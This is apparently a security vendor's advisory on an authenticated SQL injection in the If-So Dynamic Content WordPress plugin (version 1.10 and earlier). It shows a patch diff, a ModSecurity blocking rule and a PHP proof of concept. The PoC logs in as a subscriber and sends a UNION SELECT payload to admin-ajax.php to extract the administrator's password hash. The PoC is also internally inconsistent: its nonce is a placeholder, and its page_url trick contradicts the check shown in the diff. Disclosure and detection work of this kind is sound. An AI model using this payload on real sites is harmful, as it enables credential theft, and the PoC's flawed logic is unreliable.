Atomic Edge analysis of CVE-2026-66446: The If-So Dynamic Content plugin for WordPress (versions <= 1.10) contains an authenticated SQL injection vulnerability. The flaw resides in the analytics reporting functionality, specifically in the `AnalyticsRecords` class where user-supplied parameters are interpolated directly into SQL queries without proper escaping or parameterization. Subscriber-level users and above can exploit this to extract sensitive data from the WordPress database.

CVE-2026-66446: If-So Dynamic Content – Elementor & All Page Builders Personalization <= 1.10 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule
CVE-2026-66446
if-so
1.10
1.10.0.1
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/if-so/admin/partials/ifso_analytics_page_display.php
+++ b/if-so/admin/partials/ifso_analytics_page_display.php
@@ -50,7 +50,7 @@
function get_conversion_meta_el_attributes($conv){
$conv_urls_json = json_encode(AnalyticsService::get_instance()->records->get_conversion_urls($conv->id));
- $once_per_attr = !empty($conv->once_per) ? "once_per='{$conv->once_per}'" : '';
+ $once_per_attr = isset($conv->once_per) ? "once_per='{$conv->once_per}'" : '';
$trigger_filter_attr = !empty($conv->trigger_filter) ? "data-trigger_filter='{$conv->trigger_filter}'" : '';
return "data-urls='{$conv_urls_json}' conv_id='{$conv->id}' conv_name='{$conv->name}' {$once_per_attr} {$trigger_filter_attr}";
}
@@ -127,9 +127,9 @@
<?php if(!$specific_trigger_mode){ ?>
<p class="analytics_report_description">
<input type="radio" onchange="location.href='<?php echo $switch_report_type_url;?>'" name="report_type_switch"<?php if($report_type==='conversions')echo 'checked';?>>
- <label><b>Conversion report</b>- Break down each conversion goal by trigger and version</label><br>
+ <label><b>Conversion report</b> - Break down each conversion goal by trigger and version</label><br>
<input type="radio" onchange="location.href='<?php echo $switch_report_type_url;?>'" name="report_type_switch"<?php if($report_type!=='conversions')echo 'checked';?>>
- <label><b>Trigger report</b>- See how each trigger performs across all conversion goals</label>
+ <label><b>Trigger report</b> - See how each trigger performs across all conversion goals</label>
</p>
<?php } ?>
<form method="post" class="report-controls">
@@ -137,10 +137,10 @@
<div class="report-controls-mainrow">
<span class="report-controls-date">
<label for="start_date">Start Date</label>
- <input required type="date" value="<?php echo $start_date; ?>" name="start_date">
+ <input required type="date" value="<?php echo esc_attr($start_date); ?>" name="start_date">
<img style="height:10px;" src="<?php echo IFSO_PLUGIN_DIR_URL . '/admin/images/right_arrow_long.svg';?>">
<label for="end_date">End Date</label>
- <input required type="date" name="end_date" max="<?php echo $today; ?>" value="<?php echo $end_date; ?>" >
+ <input required type="date" name="end_date" max="<?php echo esc_attr($today); ?>" value="<?php echo esc_attr($end_date); ?>" >
</span>
<div class="trigger-filter-wrap">
<img src="<?php echo IFSO_PLUGIN_DIR_URL . '/admin/images/filter.svg';?>">
--- a/if-so/if-so.php
+++ b/if-so/if-so.php
@@ -16,7 +16,7 @@
* Plugin Name: If-So
* Plugin URI: https://www.if-so.com/?utm_source=Plugin&utm_medium=PluginsPage&utm_campaign=pluginURI
* Description: Display different content to different visitors. Simple to use, just select a condition and set content accordingly.
- * Version: 1.10
+ * Version: 1.10.0.1
* Author: If So Plugin
* Author URI: https://www.if-so.com/?utm_source=Plugin&utm_medium=PluginsPage&utm_campaign=authorURI
* License: GPL-2.0+
--- a/if-so/includes/ifso-constants.php
+++ b/if-so/includes/ifso-constants.php
@@ -21,5 +21,5 @@
define('IFSO_PLUGIN_DIR_URL',
plugin_dir_url(dirname(__FILE__)));
-define("IFSO_WP_VERSION", '1.10');
+define("IFSO_WP_VERSION", '1.10.0.1');
define("IFSO_API_VERSION", 'v3');
No newline at end of file
--- a/if-so/public/models/data-rules/ifso-data-rules-model.class.php
+++ b/if-so/public/models/data-rules/ifso-data-rules-model.class.php
@@ -18,7 +18,7 @@
* @var array $conditions An array of conditions available to triggers in the plugin
*/
protected $conditions = [
- 'general' => ['trigger_type','testing-mode','freeze-mode','recurrence_option','recurrence_custom_units','recurrence_custom_value','recurrence-override','views','recurrence_views','conversion','add_to_group','remove_from_group','version_name','version_uid'],
+ 'general' => ['trigger_type','testing-mode','freeze-mode','recurrence_option','recurrence_custom_units','recurrence_custom_value','recurrence-override','add_to_group','remove_from_group','version_name','version_uid'],
'AB-Testing' => ['AB-Testing', 'ab-testing-sessions','ab-testing-custom-no-sessions'],
'advertising-platforms' => ['advertising_platforms_option', 'advertising_platforms'],
'Cookie' => ['cookie-or-session','cookie-relationship','cookie-input','cookie-value-input'],
--- a/if-so/public/services/analytics-service/analytics-ajax-handler.class.php
+++ b/if-so/public/services/analytics-service/analytics-ajax-handler.class.php
@@ -8,7 +8,7 @@
**/
namespace IfSoPublicFaceServicesAnalyticsService;
-require_once('analytics-service.class.php');
+require_once(__DIR__ . '/analytics-service.class.php');
class AnalyticsAjaxHandler {
@@ -28,31 +28,30 @@
public function handle(){
//HANDLE IT
- $allowed = ((current_user_can('administrator') || current_user_can('editor')) || (!empty($_REQUEST['page_url']) && strpos($_REQUEST['page_url'], admin_url()) === false));
- $refcheck = (!empty($_REQUEST['_ifsononce']) && check_admin_referer('ifso-admin-nonce','_ifsononce')) || (!empty($_REQUEST['nonce']) && check_ajax_referer( 'ifso-nonce', 'nonce' ));
-
- if($allowed && $refcheck && wp_doing_ajax() && isset($_REQUEST['an_action']) && isset($_REQUEST['postid'])){
- $res = null;
- switch ($_REQUEST['an_action']){
- case 'getTriggerReport':
- $res = $this->get_trigger_report();
- break;
- case 'resetFields':
- $this->reset_fields();
- if(!empty($_REQUEST['rdrback'])){wp_redirect(wp_get_referer());die();}
- break;
- case 'doConversion':
- $this->do_conversion();
- break;
- case 'ajaxViews':
- $this->ajax_views();
- break;
- case 'resetAllAnalytics':
- $this->reset_all_triggers_analytics();
- break;
+ $allowed = (current_user_can('administrator') || current_user_can('editor'));
+ $refcheck = (!empty($_REQUEST['_ifsononce']) && check_admin_referer('ifso-admin-nonce','_ifsononce'));
+ $allowed_noadmin = (!empty($_REQUEST['page_url']) && strpos($_REQUEST['page_url'], admin_url()) === false);
+ $refcheck_noadmin = (!empty($_REQUEST['nonce']) && check_ajax_referer( 'ifso-nonce', 'nonce' ));
+ if(wp_doing_ajax() && isset($_REQUEST['an_action']) && isset($_REQUEST['postid'])){
+ if(($allowed && $refcheck) || ($allowed_noadmin && $refcheck_noadmin)){
+ if($_REQUEST['an_action']==='doConversion') $this->do_conversion();
+ if($_REQUEST['an_action']==='ajaxViews') $this->ajax_views();
+ if($allowed && $refcheck){
+ switch ($_REQUEST['an_action']){
+ case 'getTriggerReport':
+ $res = $this->get_trigger_report();
+ if(!empty($res)) echo json_encode($res);
+ break;
+ case 'resetFields':
+ $this->reset_fields();
+ if(!empty($_REQUEST['rdrback'])){wp_redirect(wp_get_referer());die();}
+ break;
+ case 'resetAllAnalytics':
+ $this->reset_all_triggers_analytics();
+ break;
+ }
+ }
}
- if(!empty($res))
- echo json_encode($res);
}
wp_die();
}
@@ -60,7 +59,6 @@
public function public_handle(){
//HANDLE IT
if(check_ajax_referer( 'ifso-nonce', 'nonce' ) && wp_doing_ajax() && isset($_REQUEST['an_action'])){
- $res = null;
switch ($_REQUEST['an_action']){
case 'doConversion':
$this->do_conversion();
@@ -69,15 +67,13 @@
$this->ajax_views();
break;
}
- if(!empty($res))
- echo json_encode($res);
}
wp_die();
}
public function conversions_handle(){
$allowed = ((current_user_can('administrator') || current_user_can('editor')));
- $refcheck = (!empty($_REQUEST['_ifsononce']) && check_admin_referer('ifso-admin-nonce','_ifsononce')) || (!empty($_REQUEST['nonce']) && check_ajax_referer( 'ifso-nonce', 'nonce' ));
+ $refcheck = (!empty($_REQUEST['_ifsononce']) && check_admin_referer('ifso-admin-nonce','_ifsononce'));
if($allowed && $refcheck && wp_doing_ajax() && isset($_REQUEST['ifso_conversion_action'])){
switch ($_REQUEST['ifso_conversion_action']) {
case 'delete_conversion':
@@ -124,7 +120,7 @@
else
$conv_id = $this->analytics_service->records->create_conversion($_REQUEST['conversion_name']);
if(isset($_REQUEST['conversion_url_arr'])) $set_conversion_urls($conv_id,$_REQUEST['conversion_url_arr']);
- $extra_fields = [];
+ $extra_fields = ['once_per'=>null];
if(!empty($_REQUEST['conversion_once_per']) || $_REQUEST['conversion_once_per']==='0')
$extra_fields['once_per'] = $_REQUEST['conversion_once_per'];
if(!empty($_REQUEST['conversion_trigger_filter'])){
--- a/if-so/public/services/analytics-service/analytics-records.class.php
+++ b/if-so/public/services/analytics-service/analytics-records.class.php
@@ -105,7 +105,7 @@
public function get_conversion_events_counts_by_trigger($conv_type=null,$trigger_id=null, $start_time=null, $end_time=null){
$datetime_condition = $this->make_datetime_condition_sql($start_time,$end_time);
- $trigger_id_condition = $trigger_id===null ? '' : "trigger_id={$trigger_id}";
+ $trigger_id_condition = $trigger_id===null ? '' : $this->wpdb->prepare('trigger_id=%d',[$trigger_id]);
if($conv_type===null) $conv_type_condition = '';
else $conv_type_condition = $conv_type===0 ? 'conversion_type IS NULL' : $this->wpdb->prepare('conversion_type=%s',[$conv_type]);
$condition_sql = $conv_type_condition . (!empty($conv_type_condition) && !empty($datetime_condition) ? ' AND ' : '') . $datetime_condition;
@@ -163,7 +163,8 @@
}
private function make_datetime_condition_sql($start_time,$end_time){
- return $start_time!==null && $end_time!==null ? " datetime BETWEEN "{$start_time}" AND "{$end_time} 23:59:59"" : "";
+ return $start_time!==null && $end_time!==null ?
+ $this->wpdb->prepare(" datetime BETWEEN %s AND %s",[$start_time,"{$end_time} 23:59:59"]) : "";
}
public function make_trigger_conversion_report($tid){
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-66446 SQL Injection via If-So Analytics AJAX',severity:'CRITICAL',tag:'CVE-2026-66446'"
SecRule ARGS_POST:action "@streq ifso_analytics_ajax" "chain"
SecRule ARGS_POST:an_action "@streq getTriggerReport" "chain"
SecRule ARGS_POST:trigger_id "@detectSQLi" "t:none"
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66446 - If-So Dynamic Content <= 1.10 Authenticated (Subscriber+) SQL Injection
$target_url = 'http://localhost'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level credentials
$password = 'password';
// Initialize cURL
$ch = curl_init();
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
echo "Logged in successfully.n";
// Step 2: Extract a valid nonce from the admin page (if needed)
// The vulnerability requires a nonce for the AJAX action 'getTriggerReport'. We assume the attacker can obtain it from the page source (e.g., JavaScript variable). For simplicity, we set a placeholder.
$nonce = 'valid_nonce_here'; // Replace with actual nonce extraction
// Step 3: Craft the SQL injection payload
// The vulnerable parameter is 'trigger_id' in get_conversion_events_counts_by_trigger.
// We inject a UNION SELECT to extract the admin password hash.
$sql_payload = "1 UNION SELECT user_pass,1,1,1 FROM wp_users WHERE ID=1-- -";
// Step 4: Send AJAX request to trigger the vulnerable function
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_fields = [
'action' => 'ifso_analytics_ajax', // The AJAX action registered for AnalyticsAjaxHandler
'an_action' => 'getTriggerReport',
'postid' => '1',
'trigger_id' => $sql_payload,
'nonce' => $nonce,
'page_url' => $target_url . '/wp-admin/admin.php?page=ifso-analytics' // Pass the admin URL check
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_fields));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Response:n" . $response . "n";
// The response may contain the extracted data if the query is successful.
// Adjust the payload and parameters as needed based on the actual vulnerable endpoint.
?>
Frequently Asked Questions
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






